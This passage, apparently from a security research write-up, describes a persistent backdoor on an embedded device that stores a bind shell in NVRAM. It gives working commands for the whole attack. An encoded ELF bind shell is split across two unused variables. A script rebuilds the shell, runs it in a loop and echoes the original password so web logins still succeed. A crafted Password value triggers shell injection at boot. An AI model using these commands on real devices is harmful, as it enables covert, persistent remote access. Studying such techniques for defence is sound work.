NVRAM Backdoor Method

This extension of the previous backdoor relied on *curl'ing* down a payload. The backdoor executed there would cause the login to fail if the web server was unavailable.

In this technique, the NVRAM stores the bind_shell. It utilizes two variables that appear unused and holds an encoded version of the bind shell in those variables.

```
nvram_set 2860 FW_CheckLink1 '\x7fELF\x01\x01\x01\0\0\0 ... '
nvram_set 2860 FW_CheckLink2 '\xa0\xaf% \x10\x02\xef\xff ... '
```

Next, place into NVRAM a script that writes out the bind shell to a file, executes it, and keeps executing it in a loop.

```
nvram_set 2860 DM_BA_SERVER_URL 'echo -n "Asdf123456"; if [ ! -f /tmp/nvram_bd ]; then echo
↪   -ne "`nvram_get 2860`
FW_CheckLink1`" > /tmp/nvram_bd; echo -ne "`nvram_get 2860 FW_CheckLink2`" >> /tmp/nvram_bd;
↪   chmod +x /tmp/nvram_bd;`
echo "while [ 1 -lt 2 ]; do /tmp/nvram_bd; sleep 10; done" > /tmp/nvram_bd_script; chmod +x
↪   /tmp/nvram_bd_script;`
sh /tmp/nvram_bd_script > /dev/null & fi '
```

The script also echos out the original password to stdout so that web logins succeed.

Lastly, we craft a value for Password in NVRAM that results in a shell injection. The shell script above runs as a result of the injection.

```
nvram_set 2860 Password "'\`sh -c \"\$(nvram_get 2860 DM_BA_SERVER_URL)\"\`'"
```

As with the curl-based persistent backdoor, the system will automatically trigger this shell injection while booting up.